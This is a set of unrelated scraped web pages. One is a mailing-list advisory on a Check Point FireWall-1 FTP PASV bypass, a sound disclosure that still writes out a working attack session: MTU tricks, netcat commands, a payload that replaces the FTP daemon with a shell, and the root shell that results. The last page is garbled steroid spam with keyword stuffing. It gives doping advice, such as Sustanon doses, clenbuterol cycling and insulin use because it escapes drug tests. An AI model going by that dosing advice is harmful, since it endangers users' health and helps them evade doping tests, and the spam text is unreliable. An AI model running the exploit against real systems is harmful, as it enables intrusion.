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Gigeresque Bust 3D Sketch
I decided to make this after watching this video for the second time. It has no audio so you don't have to turn anything up or down. I did refer back to it a number of times since it was a pretty valuable resource for me.
This post isn't really meant to be a tutorial but a public note to self. It's really here to help me remember how I did it and the thought process that went into analysing and applying what I've learned through the video. If you want to use it as a guide, I strongly recommend you watch the video as well or you could very well get lost.
The lips:
- Use the draw brush to create the general shape of the lips.
- Using a large crease brush to draw in where the lips part, then invert and scale the brush down to draw the edges of the lips.
- This part worked out well for me. I smoothed out the creases just because it tends to make the mesh ugly, then I use pinch to draw them back on so it doesn't wreck the smoothing job.
- Draw on more fullness: This one takes some practice with pressure sensitivity on since I can get varying sizes. Overall, don't overdo it or consider trying inflate + smooth.
This one required quite a bit of reference to actual noses. In fact, I spent more time looking at pictures of noses and going by feel than referencing the video. It turned out all right. Drawing noses was never really my strong suit to begin with.
- Draw in some form. The eyelids should be rounded. Consider using the inflate brush (set large enough to consider the roundedness of the eyeball) instead of drawing it in.
- Use the Crease brush to draw out where the eyelids end and the eyeball starts. Invert the brush and draw in the outer edge of the eyelids. The artist in the video drew out the upper lids by using the crease brush. I can't say I'm getting satisfactory result (even with pressure sensitivity turned off) so I'll probably look for another way next time.
- Keep using the crease brush to draw in the creases of the eyelid, wrinkles, etc. Be sure to smooth them out where you see fit.
- Dig a hole right where the eyeball should go, create a new sphere (and two should show up if you're still in Symmetry mode) and place it in the socket as best you can. You'll have to adjust the eyelids during this process. It's tough to get the upper ones aligned, but that could just be the way I made my model.
Bone Structure:
This one should've been the first I talked about, but to be honest, I started off with the lips after getting the general head shape flushed out. If you're trying to create cheekbones, use the draw brush to layer it on then smooth it out. Just don't go overboard if the character isn't meant to have such strong facial features.
That's about it. I am in no way an expert in this sort of thing, but I had a lot of fun learning the workflow and just having something decent come out of it.
Thought Process
When I first started this, I didn't really expect for anything to come out of it. I just wanted to test out what I learned and observed from the video. I certainly didn't intend for an alien-looking head to come out of it. I know it's not the most original concept ever and resembles some of Giger's paintings, but that ended up being part of the piece anyway. It started with when I was shaping the head further after I finished the lips (which had to undergo adjustments later in the process). I started stretching the back of the head further back and went with it.
The point wasn't the realization I just made a Gigeresque bust. The realization was how easy it was for me to come up with something random through digital sculpting. Whether this is a one time thing or not I'm not really sure. All I know is that I do see potential in using this tool as a sketching medium than 2D.
I suppose I've always had an affinity for working in 3D.
Made in Sculptris 220346 Triangles I used a custom material and had DOF set to 2 for this render.


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Top 4 Eco-Friendly Baby Products under $50
I recently got a new niece and I'm quickly learning that buying baby gear is about the most fun way to spend my money. Especially since I've found a few companies that market eco-friendly baby clothes and supplies. In the past few months, I've become a bit of an expert at buying little gifts for a baby. Here are some of my favorite places that specialize in cheap eco-friendly baby gear. Everything is under $50 and can be purchased online.
1. Hooded Towel and Washcloth Set by Under the Nile
Under the Nile sells a towel set which includes a baby-sized hooded towel in a monkey design and a duck washcloth. Both the washcloth and towel are made from 100 percent Egyptian Cotton and washing machine friendly. (Price: $40.00) 2. Modern Print Baby Blanket
My sister wanted to get away from the usual "pink is for girls" mentality and decorated my niece's bedroom in a clean, modern design. Surprisingly, I was able to find an eco-friendly baby blanket to match at Organic Baby Warehouse. The blank is red and white with a simplistic floral print, made from 100 percent organic materials. (Price: $37.95)
3. Organic Cotton Diapers
Cloth diapers are harder to use than disposables, but they cut down on resource waste and landfill use. Organically Baby sells cloth diapers made from organic fleece. The diapers have an inner lining and Velcro closures for easier use. (Price: $14.95)
4. Overtired and Cranky Bath Set
I'm committed to keep manufactured bath products far away from my niece. Instead, I've found a few alternatives made from organic materials. California Baby makes a bath set specially formulated for crankier babies. The set includes a tote bag, bubble bath, shampoo and body wash and a gel. (Price: $21.00)
Photo courtesy of 3BL Media at Flickr

subset: commoncrawl


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The kids thoroughly enjoyed it. Said it tasted like a creamsicle!


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What car to race circle track?
What car to race circle track?
I'm getting into a 4 or 6 cyl class at my local asphault circle track next year. The rules state that you can run a 4 cyl with a minimum weight of 2300 or a 6 cyl with a minimum weight of 2600. The car must be stock, or at least "appear" stock with an engine that was offered for the year and model of car...Right now 6 cyl Probes are dominating with 6 cyl cavaliers and luminas next, nobody runs any hondas or acuras yet. I've found a 95 'lude with bad 2.3 for $400, found a 95 'teg for $200 with bad b18. I'm going to Japan with the military this spring so I may be able to scrounge up some engines/transmissions over there.
So I'm thinking a 'Lude with H22...
Pro's- High HP, good handling
Con's-expensive motor, may not be able to get down to 2300lbs(?)
a 'Lude with H23
Pro's- decent HP, good handling
Con's- motor still not cheap(?), weight problem
a 'Lude with F22
Pro's- HP not bad, good handling, cheap motor
Con's- weight problem
a 'Teg with B18
Pro's- HP not bad, easy to make 2300 lbs, not bad handling, possible Frankestein
Con's- motor not cheap
Civic with B16
Pro's- HP not bad, easy to make 2300 lbs
Con's- motor not cheap
What do you guys think? I appreciate any input and maybe some suggestions I haven't thought of, older integra with ZC etc. The idea here is to get onto the track for cheap. Thanks
Wait, I'm confused. You said the cars have to be equipped with an engine from that model of that year, but Cavaliers are in the 6cyl class? Luminas are keeping up with Probes? What the hell is going on in that circuit!?
So you're looking for a shell and want to drop an engine in after? Or would you rather buy a full package? And how much are you looking to spend on this project???
Details por favor
"Wait, I'm confused. You said the cars have to be equipped with an engine from that model of that year, but Cavaliers are in the 6cyl class? Luminas are keeping up with Probes? What the hell is going on in that circuit!?"
Yeah, Cavaliers came with a fairly decent 3.1 V6, the lumina had the same motor along with a 215 hp 3.4 in the z34. The Probe has about 170hp.
"So you're looking for a shell and want to drop an engine in after? Or would you rather buy a full package? And how much are you looking to spend on this project???"
A shell is fine, I'd like to put a car on the track for $1k or less. That's what I like about the 'lude and 'teg I found both for less than $500, and I may be able to pick up some drivetrain components from Japan when I travel there this spring.
Of those choices i'd go with the lude (I do own one so take that as you will)
The H22 if it has to be N/A
The H23 if you are allowed to turbo
Also You can get it down to 2300lbs no problem.
Wow, if I can get a prelude down to 2300 lbs then that is probably the easy answer. That would give me the best power to weight ratio. I can't turbo so I guess I'll be shopping for an h22 while I'm in Japan.
Still open to other suggestions though if anybody sees this differently.
I agree with the lude suggestion. You should be able to find one for cheap in Japan. But when and where did Cavaliers ever get V6s? I must've missed that era.
Yeah, I'm thinking prelude...I wonder where I can find info on the lowest stripped weight of a prelude?
According to Wikipidia on Cavaliers... "3.1 L V6 (http://en.wikipedia.org/wiki/V6) MPFI (http://en.wikipedia.org/wiki/MPFI) Available in Z24 models from 1990 to 1994."
I'll be damned. I never knew that. I'm shocked that slipped past me for 16 years
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Welcome to ZodiacTarot from iFate.com. A different card every day, for every Zodiac sign.
If you're looking for more than just a horoscope every day, follow ZodiacTarot!
Please re-blog :)
Love Tarot Reading   |  The Daily Astro!   |   Biorhythms
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Graphic print separates, luxe leather jackets and colour-pop tops: Jaeger's diffusion line is here.
The camelhair coat, the cotton mac, the wool pea coat: we've
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workwear; classic menswear including suits, jackets, coats and knits; and accessories from bags to jewellery and scarves. We hope you find our clothes beautiful and inspiring.


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If you are experiencing a medical emergency please dial 911 immediately
Electrolysis is a method to remove hair permanently.
During electrolysis, a very thin probe is placed in the hair follicle and an electric current through the probe destroys the ability of that follicle to grow hair. A laser also can be used that uses heat to destroy the growth center of the follicle.
Removal of hair using electrolysis can take a long time because each hair follicle usually must be done one at a time. The process may be painful and difficult to do for large areas of dense hair.
Last Revised: November 15, 2011
Author: Healthwise Staff
Medical Review: Anne C. Poinier, MD - Internal Medicine & C. Dale Mercer, MD, FRCSC, FACS - General Surgery
This information does not replace the advice of a doctor. Healthwise, Incorporated disclaims any warranty or liability for your use of this information. Your use of this information means that you agree to the Terms of Use. How this information was developed to help you make better health decisions.
To learn more visit Healthwise.org
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Sanford Rock Rapids George Clinic in in George, Iowa, is closed due to high water levels http://t.co/nWPx00o9e8
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The site also known as "The Girl in Oslo", and established March 18, 2010
Thursday, August 18, 2011
Who says being a good blogger does not take real work...
Written by: Linn The girl in oslo Create a link.
Topic of this post Oslo , Photography
Wednesday, August 17, 2011
girl in oslo's photostream
girl in oslo2's photostream on Flickr.Here are some photos I have taken with my Iphone the last few days:)
Hope you enjoy...
Written by: Linn The girl in oslo Create a link.
Topic of this post Photography
Blogging : Personal sites versus non personal sites.
Personal sites versus non personal sites:
There are a few blogs out there that I read on a regular basis, and for some reason they are all filled with very personal info like the theblondesalad - on a boat trip.Information and pictures that I would have a hard time sharing if I started to really think about the consequences. For instant anyone can download as much of your content as they want, and you loose control over every piece of information on that one post. The person downloading can then use that photo/writing for anything they want…and you can end up on a porn site….That would never be my idea of fun…
However when you do look at these really personal sites they have a few points in common that makes me rethink the whole idea of a non personal site.
Here comes a few points these bloggers have really understood.
Your site gets:
- More or less instant fame
- Many more followers then non personal sites
- A lot more hits, and better Google ranking
- Many reactions from readers, and overall a lot more activity,
- More business coming the bloggers way, and faster.
- Many more opportunities
What do you think?
Love from the girl…
Written by: Linn The girl in oslo
Topic of this post blogging
Tuesday, August 16, 2011
Want to be a better blogger?
Hi all.
So as a way of getting better at this blogging thing I am constantly on the lookout for new content,fresh ideas, and just more advice on how I can "Step my game up".
In an effort to get better I am relaunching my course on blogging.
This time the series will run for a long time, and I will write all the content myself.
If you wish to contribute or have fantastic ideas that you want to share to my audience?
Feel free to let me know in the comment section, a link up that I will provide every time or through my email: email@example.com
Have a great day.
Written by: Linn The girl in oslo
Topic of this post blogging , New Social Media
Subscribe to: Posts ( Atom )


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Home → Maine Resources → Maine Writers Search → Maine Writers List → A Maine Writer
Roorbach, William (1953 - )
Genre: General Fiction, Non-Fiction, Short Stories
Bill Roorbach and his wife and daughter live in Farmington, Maine, which Roorbach says reminds him of the 1950s Connecticut in which he was raised.
Roorbach attended Ithaca College in the 1970s, then played piano in bands, traveled widely, worked as a bartender, and briefly on a cattle ranch. He received his M.F.A. in fiction writing from Columbia University in 1990.
For four years (1991-1995), he taught non-fiction writing at the University of Maine at Farmington. He recently was associate professor in Ohio State University's Master of Fine Art writing program and fiction editor of the Ohio State University Press, quitting this job to write full time in Farmington soon after his daughter was born.
He's also taught at the University of Vermont Summer Writing Program (1995-1999), Stone Coast Writers Conference (1993, 1994), Maine Publishers and Writers Alliance conferences (1992, 1994, 1998, 2001), Cape Cod Writers Conference (2000), and others.
His work, both fiction and nonfiction, has appeared in The New York Times Magazine,
Selected Bibliography
- Summers with Juliet (1992)
- Writing Life Stories: How to Make Memories into Memoirs, Ideas into Essays, and Life into Literature (1998)
- Big Bend (2001) (winner of the Flannery O'Connor Award for Short Fiction)
- The Smallest Color (2001)
- Into Woods and Other Essays, a sequel to Summers With Juliet (2002)
- Temple Stream: A Rural Odyssey (2005)
- Life Among Giants: A Novel (2012) winner, 2013 Maine Literary Awards Book Award for Fiction


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mailing list archives
FireWall-1 FTP Server Vulnerability
Background Paper #1, data protect AG
John McDonald <jm () dataprotect com>
Thomas Lopatic <tl () dataprotect com>
Please reference the recent vuln-dev posting by Mikael Olsson entitled,
"Breaking through FTP ALGs -- is it possible?" At the time of this
writing, it was not yet archived on the security focus web site.
The basic idea of the described attack is to subvert the security
policy implemented by a stateful firewall. This is done by triggering
the generation of a TCP packet that, when inspected by the firewall,
will change the firewall's internal state such that an attacker is
able to establish a TCP connection to a filtered port through the
firewall. This packet is the server response to a PASV user request
during a FTP session.
We have also come across this attack, and were in the process of
preparing a more comprehensive advisory, including other FireWall-1
security issues we have documented. The idea was to notify Check Point
of these problems and give them time to develop a software update.
However, since the general form of this vulnerability was
independently documented by Mikael Olsson and published to the
vuln-dev mailing list, we feel it is appropriate to distribute this
information now, as it relates specifically to FireWall-1, in order
to alert potential victims to this issue.
Check Point FireWall-1 is vulnerable to an attack involving the
stateful support for the FTP protocol, specifically the handling of
the PASV command.
Typically, a user will send an FTP server the PASV command, and the
response from the FTP server will be the 227 message specifying to
which destination IP address and destination port the client is
expected to connect for the next data connection.
FireWall-1 monitors the packets sent from the FTP server to the
client, looking for the string "227 " at the beginning of each
packet. Upon a match, FireWall-1 will extract the destination IP
address and the destination port given in the packet payload, verify
that the specified IP address corresponds to the source address of
the packet, and allow an incoming TCP connection through the
firewall according to the destination IP address and the destination
port extracted from the datagram.
There are several restrictions on this connection which limit its
utility. Data can only travel in one direction and it cannot be to
a port that is listed in FireWall-1's list of well-known TCP
services. It is important to note that FireWall-1 version 3 does
not have this limitation, connections can be made to any port,
and the flow of data is not managed.
In order to trick FireWall-1 into allowing a connection to a port
on the FTP server, we must have the server send the "227 " string
as the first four bytes in a packet that, according to its source
port, belongs to a FTP control connection. We can typically
accomplish this by using the error handler of the FTP daemon,
in conjunction with limiting the MSS of our TCP connection.
This is easy to do by setting the MTU of our interface to a small
value we can work with, before we establish a control connection to
the victim FTP server. This causes the return packets from the
server to be smaller, allowing us to control more easily how data
is split into packets. Thus, we can make the "227 " message
returned by the error handler appear at the beginning of a packet.
Another way to accomplish this would be to ACK up to the message
we want to receive, and then have the server retransmit the data
we want to be contained in an isolated packet.
Here is an example of an attack based on this technique. There is
a FireWall-1 machine between gumpe and the 172.16.0.2 server, which
only permits incoming FTP connections. 172.16.0.2 is a default
Solaris 2.6 install, with the Tooltalk Database vulnerability.
We send the datagram directly to the service's TCP port, in spite of
this port being blocked by the firewall. Note that since there is no
response expected, the one-way restriction doesn't affect this
All of our testing was done on a Nokia IPSO machine running FW-1
version 4.0.SP-4.
[root () gumpe /root]# strings hackfile
""""3333DDDD/bin/ksh.-c.cp /usr/sbin/in.ftpd /tmp/in.ftpd.back ; rm -f
/usr/sbin/in.ftpd ; cp /bin/sh /usr/sbin/in.ftpd
[root () gumpe /root]# /sbin/ifconfig eth0 mtu 100
[root () gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
[1]+ Stopped nc -vvv 172.16.0.2 21
[root () gumpe /root]# cat killfile | nc -vv 172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 80, rcvd 0
[root () gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
[2]+ Stopped nc -vvv 172.16.0.2 21
[root () gumpe /root]# cat hackfile | nc -vv 172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 1168, rcvd 0
[root () gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
uid=0(root) gid=0(root)
There is an easier way to perform a similar attack on this setup, since
the default Solaris FTP daemon allows a bounce attack, but this should
suffice to demonstrate the potential severity of this problem.
If you have a FTP server behind a FireWall-1, it is possible for an
attacker to open TCP connections to certain ports on the machine,
and perform limited communication with those services. If you are
running FireWall-1 version 3, you should consider your FTP server to
have no TCP filtering. Solving this problem is inherently difficult,
but there are simple steps to take to minimize this risk. If the
machine is properly hardened, i.e. if there are no services available
on it, apart from FTP, this makes this vulnerability have little
You can also disable the PASV handling in the FireWall-1 GUI. However,
this breaks your configuration for passive FTP clients.
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Ban was part of the original group that accompanied Perrin to hunt Trollocs and rescue the Cauthons. Ban is Jac al'Seen's son, as well as Wil al'Seen and Dannil Lewin's cousin.
For more details on Ban al'Seen, visit Encyclopaedia WoT.
This site is to be used for educational purposes only. By visiting this site, you acknowledge that any and all content you view is to be used for educational purposes only. WoTDB.com is not endorsed by Tor, Robert Jordan or his estate, Brandon Sanderson or anyone else officially affiliated with the Wheel of Time® series, Tor Books, Robert Jordan or his estate or Brandon Sanderson. The Wheel of Time books and franchise are copyright © Robert Jordan. The phrases "The Wheel of Time®" and "The Dragon Reborn™", and the snake-wheel symbol, are trademarks of Robert Jordan. WOTDB.com does not claim to be the creator of the Wheel of Time® series. WOTDB.com had absolutely no part in any creation of the series, and is just built and maintained by dedicated fans of this series who have taken their time to create this website. Sources for character data may be found on the Credits page.


text:
Through a special arrangement, effective June 2012, the National Association Medical Staff Services (NAMSS) Board of Directors and AHLA's Executive Committee have approved a joint membership initiative that enables both organizations' members to benefit from membership in the other's organization. The NAMSS and AHLA leadership believe joint membership will be mutually beneficial to members of each organization.
NAMSS membership will provide AHLA members with access to more than 4,500 individuals responsible for medical staff and credentialing services from medical group practices, hospitals, managed care organizations, and CVOs.
AHLA's network of 12,500 members who practice in law firms, government, in-house settings and academia will welcome NAMSS members. Those joining from NAMSS will also become a part of AHLA's Medical Staff, Credentialing, and Peer Review Practice Group.
It's a win/win for AHLA members and a win/win for NAMSS members:
Benefits of Membership
When AHLA members join NAMSS, they receive the following:
To learn more about NAMSS, click here.
When NAMSS members join AHLA, they receive the following:
NAMSS Membership Application


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Yamhill County buildings reopen after bomb threat
Nov 19, 2012 | 5 Comments
News-Register Staff
The Yamhill County Clerk's Office, courthouse and other buildings have reopened following a 30-minute evacuation due to a bomb threat.
Sources say a caller, apparently male, phoned the clerk's office about 2:50 p.m. Monday saying there was a bomb in a county building. The caller said the threat was not a hoax.
Sergeant Brian Young said all county buildings were checked and nothing suspicious was found.
Yamhill was one of about 18 locations that received bomb threat calls Monday afternoon. All the calls were apparent hoaxes, according to Oregon State Police.
Last week, six Washington state counties received similar calls during the middle of the afternoon. No bombs were found.
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I remember when i was in school bomb threats were a popular thing, and because you really can't ignore them because of the possibility of them being real well, you evacuate the whole school, check every single room and then get the kids back --- I remember there was a bomb threat on a really nasty, rainy day, people were NOT happy about having to be outside that day!
you can think it's "funny" but if you have seen the damage a real bomb does and you understand the true fear that people who have been through that have, you wouldn't think it was funny at all.
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• McMinnville hires new city manager (2)
• McMinnville police make multiple drug arrests (1)
• Amity threats unfounded (1)


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- Music
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- The Weekender
This week, acclaimed Chef John Varanese will be serving up an exciting four-course meal with a selection of beer from New Albanian Brewing Company at Varanese Restaurant, 2106 Frankfort Ave. NABC Owner Roger Baylor will also be on site to discuss each specialty beer.
Here's the really good news! Due to its immense popularity, Varanese is adding a second night of beer bliss. Of course, with a power team like this pair, the demand comes as no surprise. You may now book a reservation for February 6th or the 7th at 6:30 pm. The cost of the dinner is $49 per person, plus tax and gratuity. To jump on getting a reservation, call (502)-899-9904 or email firstname.lastname@example.com.
If your mouth isn't watering already, check out this sneak peak of the first and third courses, straight from the chef himself.
We are very excited about the third course, the Beer Braised Short Ribs with the Porter Sauce paired with the very popular Hoptimus Imperial India Pale Ale. Many components of this dish are the same ingredients used to make beer. Also our first course with Chipotle BBQ Quail Legs and Beer Battered Onion Rings because of all the spicy notes we were getting out of the Black and Blue Grass Spiced Belgian Ale. –John Varanese
If you can't make this opportunity, make sure you stop in Varanese soon. Chef Varanese was recently honored in Best Chefs America and was named restaurateur of the year by the Kentucky Restaurant Association. More information about Varanese can be found at www.varanese.com or Facebook.com/dinevaranese.
|Autumn Hit List: Ten Must Do Things in and Around Louisville This Fall
|Yelp Louisville and New2Lou Announce More Louisville Bucket List News
|Varanese Will Host Four-Course Bell's Craft Beer Dinner
|Bardstown Bound Boo Fest is this Saturday, October 25
|Cooking at the Cottage Shares Favorite Pumpkin Bread Recipe
|Comfy Cow Shares Recipes for Two Bourbon-Filled Sweet Treats
|Louisville's Culinary Excellence Noted in Saveur


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Results 1 to 2 of 2
Guys, how do i find out what my internet uptime is. So it says say 3 hours, if i get disconnected then it goes back to 0. How do i ...
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- 01-17-2004 #1
- Join Date
- Jan 2004
- Posts
- 1
Internet uptime - how do i find this out
I know that gkrellm can do it, but i cant get this wokring for some reason, can someone give me a step-by-step guide.
If you could also specify the file where this is held, it would be useful as well. I just want a text figure of how long its been disconnected without failure.
Thanks for your help
- 01-17-2004 #2
- Join Date
- Jun 2003
- Location
- Huntington Beach, CA
- Posts
- 390
All I did was enable it in Gkrellm and click the little button that showed up to start the timer.


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A.R. Carrington, champion drum soloist, 1870s.
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Australian imports Steve Smith and James Faulkner pounded 65 runs in just 17 balls to carry Rajasthan Royals to a five-wicket win against Royal Challengers Bangalore in a crucial IPL game here Sunday.
Smith (48 not out, 21b, 4x4, 4x6) and Faulkner (41 not out, 17b, 3x4, 3x6) came together in the 14th over with Rajasthan on 106 for five, and played some clever cricket to help their team overhaul RCB's total of 190 for five with seven balls to spare.
In the process, Yuvraj Singh's dream performance of 83 off 38 balls (7x4, 7x6) and 4 for 35 went in vain for RCB whose re-jigged line-up failed to deliver as they slid to their sixth defeat in nine matches while Rajasthan chalked up sixth win to consolidate their third place on the leaderboard.
The Smith-Faulkner partnership left RCB shell-shocked considering that a rollicking 132-run partnership between Yuvraj and AB de Villiers (58, 32b, 1x4, 5x6) had given them a seemingly winning total.
Contributing to RCB's optimism was Yuvraj's performance with the ball as he tore apart the Rajasthan middle-order, beginning with a double strike in his very first over and then picking up two more wickets to put the hosts on top.
However, Smith and Faulker turned the game around for Rajasthan who had started well with openers Ajinkya Rahane (24) and Karun Nair (56, 39b, 8x4) putting on 54 runs before Yuzvendra Chahal dismissed the former to set the stage for Yuvraj's four-wicket haul.
Earlier, Yuvraj and de Villiers smashed 84 runs in the last five overs in the course of their century partnership to lift RCB's sagging spirits.
Barring their association, there was little to enthuse about RCB's innings that was otherwise in tatters after the cheap dismissals of skipper Virat Kohli (4) who had promoted himself to open with Chris Gayle (19) and Vijay Zol (16).
Both Yuvraj and de Villiers took their time to reconstruct the innings that at one juncture was 40 for three in ninth over. However, once they got into groove, there was no stopping either of them as runs flowed freely, especially in the end overs.
Yuvraj, under pressure after a string of failures, showed glimpses of his class while de Villiers was his usual busy self in scoring his fourth half-century in nine matches and his fifth 40-plus score.
The Rajasthan bowlers, who had begun well enough, later yielded to the brilliance of Yuvraj and de Villiers, both of whom were unstoppable until they perished attempting to further accelerate. By then, RCB had enough runs on the board to eye their fourth win in nine matches, but it was not to be their night.
Brief scores:
Royal Challengers Bangalore 190 for 5 in 20 overs (AB de Villiers 58, Yuvraj Singh 83, Kane Richardson 2 for 43) lost to Rajasthan Royals 191 for 5 in 18.5 overs (Karun Nair 56, Steve Smith 48 not out, David Faulkner 41 not out, Yuvraj Singh 4 for 35).
(Posted on 12-05-2014)
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Oct 6 2010
Tip of the Week!
If you're ever stuck unprepared with cold butter when your recipe calls for softened, don't panic! Put the cold butter, stick by stick, between two sheets of wax/parchment paper and roll out with a heavy rolling pin until 1/4"-1/8" thick. Peel off wax paper before it… starts to stick. Voila! Softened butter in a pinch!


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|Aguila II
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|Defeats Del P.C. and Nigel Foster in tournament final to become first champion; vacant.
* Replaced with Irish Junior Heavyweight Title.
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One possible fix for a Mac that won't sleep its display
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Danabol / Dianabol has always
Apply Androgel / Cernos Gel once per day at approximately the same time All Steroids World each day, preferably in the morning. Using it at the same time each day helps maintain a steady level of testosterone in the blood. It will also help you remember when to apply it.
Timing of insulin administration in relation to food intake and exercise;
Benzodiazepines belong to the group of medicines called central nervous system (CNS) depressants (medicines that slow All Steroids World down the nervous system). Some benzodiazepines are used to relieve anxiety. However, benzodiazepines All Steroids World should not be used to relieve nervousness or tension caused by the stress of everyday life. Some benzodiazepines are used to treat insomnia All Steroids World (trouble in sleeping). However, if used regularly (for example, every day) for insomnia, they usually are not effective for more All Steroids World than a few weeks.
Boldenone undecyclenate is a very popular steroid. This steroid is only available legally at a veterinarian clinic.
All Steroids World
Boldenone is very common in the precontest arena for two main reasons. First off, there is a low amount of aromitization and secondly there is very little water retention while
This drug is unique (so far as I know) in that 5a -reductase, the enzyme which converts testosterone to the more-potent DHT, actually converts nandrolone to a less-potent compound.
As dizziness has been reported in men taking Cialis ® All Steroids World in clinical studies, you should be aware of how you react to Cialis ® before you drive or operate machinery.
"In a study to be published today
Although Sustanon remains active in the body for approximately three weeks, injections are taken at least every 10 days. An effective dosage All Steroids World ranges from 250mg (one ampule) every 10 days, to 1000mg (four ampules) weekly. Some athletes do use more extreme dosages, but this is really All Steroids World not a recommended practice. When the dosage rises above 750-1000mg per week, increased of Sustanon side effects
5-10 Units of a short acting
High G.I. carbohydrates (e.g. sweets, soft drinks and ice-cream) will All Steroids World raise your blood sugar quickly and prevent early hypoglycemia. Low G.I. carbohydrates (e.g. white pasta, high amylose All Steroids World rice, softened whole grain breads and instant noodles) are metabolized more slowly and will keep your blood glucose level All Steroids World up over a more extended period of time, when the medium acting insulin preparations begin to take effect;
Carbohydrate Cravings All Steroids World - To counter this, some methods will be touched on later. As with most diets, willpower is sometimes the single most important factor.
Also, for the same effect
The trick of using Clenbuterol All Steroids World successfully seems to be avoiding receptor downgrade which occurs rapidly with the use All Steroids World of this beta agonist. In fact, one clinical study showed downgrade at receptor as much as 50% experienced All Steroids World after using Clenbuterol for as little as 18 days consecutively. The same study showed that attenuation can be avoided if Clenbuterol is taken in a '2 day on' then '2 day off' pattern. Athletes using
Drug Class: Leutenizing Hormone (LH) - Gonadotropin
It is also important to note that while Women may receive some small benefit from the drug (although testosterone is really not a steroid for
Being moderately
The most common complaint with Trenbolone is that it can reduce aerobic capacity possibly All Steroids World due to bronchial dilation from increased prostaglandin formation. However at least in most users, since the blood levels of Trenbolone All Steroids World Enanthate won¡¯t spike as rapidly or peak to as high of a level as quickly as we see with All Steroids World the Acetate version- this effect is not as pronounced with the Enanthate version. Thus the infamous ¡°Tren Cough¡± many users complain about with the Acetate version
Bonavar was the old U.S. brand name for the oral steroid oxandrolone, All Steroids World that was first produced in 1964 by the drug manufacturer Searle. It was designed as All Steroids World an extremely mild anabolic, that could even be safely used as a growth stimulant in children. One immediately thinks of the standard All Steroids World worry, "steroids including oxandrolone will stunt growth". But it is actually the excess estrogen produced by most steroids that All Steroids World is the culprit, just as it is the reason why women stop growing Bonavar sooner and have a shorter average stature than men. Bonavar will not aromatize,
White square 50mg tablets, with "50" imprinted All Steroids World on one side and "BD" separated by a score imprinted on the reverse, sealed in foil pouches of 30.
Mastabol All Steroids World is a synthetic derivative of dihydrotestosterone, displaying a potent androgenic effect that is responsible for increases All Steroids World in muscle density and hardness and a moderate anabolic effect that creates a positive nitrogen balance in humans and promotes protein synthesis.
Stanozolol comes as a tablet, 2 mg, to take by mouth.
Introduction/History All Steroids World
In addition, androgenic side effects are common with this substance, and may include bouts of oily skin, acne and body/facial All Steroids World hair growth. Aggression may also be increased with a potent steroid such as this, so it would be wise not to let All Steroids World your disposition change for the worse during a cycle. With Dianabol there is also the possibility of aggravating a male pattern baldness condition. Sensitive
The normal recommended dose for Reductil is one 10 mg or 15 mg tablet a day at least one hour before
If overdose of clenbuterol is suspected, contact your local poison control center or emergency room immediately.
All Steroids World
Virormone (Testosterone propionate), after Testosterone cypionate and enanthate, is the All Steroids World third injectable testosterone ester that needs to be described in detail. This makes sense because, unlike cypionate and All Steroids World enanthate, both of which are widely used and well-spread in Europe, proprionate is little noticed by most athletes. The reader will now All Steroids World certainly pose the question of why the characteristics of an apparently rarely used substance are described in detail. At a first glance this
In his book, Anabolics 2002, Bill Llewellyn says that Cytomel is not a drug to start off on, and that use of milder All Steroids World drugs like T4 (Synthroid) or triacana can help ease a person into the use of T3. I'm inclined to disagree here however. All Steroids World Triacana is weak compound and I find of little use. Its not easily found anymore and not cheap either. T4 is basically similar to Cytomel except that its weaker. Something that users normally compensate with higher doses and sends them down a similar lane as simply using
What is of note with propionate, is that users have successfully incorporated it into cutting All Steroids World cycles as well. Especially people who tend to lose a lot of mass normally during extreme diet phases find this useful. By injecting every two or three All Steroids World days and using only 50-75 mg each time, no notable water builds up (or at least none that can't be fixed with proviron, All Steroids World arimidex or winstrol) and no fat is deposited, allowing a user to stay relatively lean. So this type of testosterone can be used All Steroids World to keep gaining or retaining mass until 2-3 weeks out of contest time with relatively little
if there is a pulse but All Steroids World the person is not breathing, start artificial respiration, otherwise known as Expired Airways Resuscitation (EAR), All Steroids World without delay if no pulse, start cardio-pulmonary resuscitation (CPR) stay with the person, continuing to administer artificial All Steroids World respiration or CPR until the ambulance arrives. Keep them in the lateral or coma position if they All Steroids World are breathing on their own. tell the ambulance officers exactly what they may have taken and what you have observed.
The common use is similar to that of Nandrolone. 300-400 mg a week, in
Insulin use can not be detected during a drug test. For this reason, along with the fact that it is All Steroids World cheap and readily available, insulin has become a popular drug among the competitive athlete. However, before an All Steroids World athlete attempts to use insulin, he should educate himself and make himself aware of the consequences. One mistake in dosage or All Steroids World diet can be potentially fatal.
Anavar is also a 17alpha alkylated oral steroid, carrying an alteration that will put stress on the liver. It is important to
Package: Multiple dose vial of 10ml. 200mg per 1ml.
All Steroids World
Pregnyl by Organon.1,500 to 5,000 (International Units) All Steroids World per 1ml amps. This drug is not a steroid but it is widely used in athletics today. HCG is a natural protein hormone All Steroids World secreted by the human placenta and purified form the urine of pregnant women. This hormone is not a natural male hormone but mimics the natural
All Steroids World
Is currently the most popular ester of testosterone available to athletes. Unlike All Steroids World cypionate, enanthate is manufactured by various companies all over the world. Ampules of Testoviron from Schering are probably the most popular although many others exist. Enanthate-the same as Testoviron
All Steroids World
While most will tell you it's a waste to not use testosterone, as it will take ages longer to build proper mass, these are all points to take into
With a low body fat content Halotestin gives the bodybuilder a distinctive muscle hardness and sharpness. Although
The Physiological Role of Insulin in the Body:
Tell your doctor.
Keep Viagra out of the reach of children. Keep Viagra in its original container. Store at 25°C (77°F); excursions
This makes it a welcome alternative for All Steroids World athletes who have problems with the common injectable testosterone compounds. Due to this, Restandol (Andriol) is also suitable for pre competition All Steroids World workouts. An additional advantage of Restandol (Andriol) is non-aromatizing quality All Steroids World consists of the fact that the body's own hormone production is only affected after a long-term administration of very high dosages.
by Patrick Arnold - Viagra works by increasing the effects of nitric oxide (NO), a substance that serves many key functions in biological processes throughout the body.
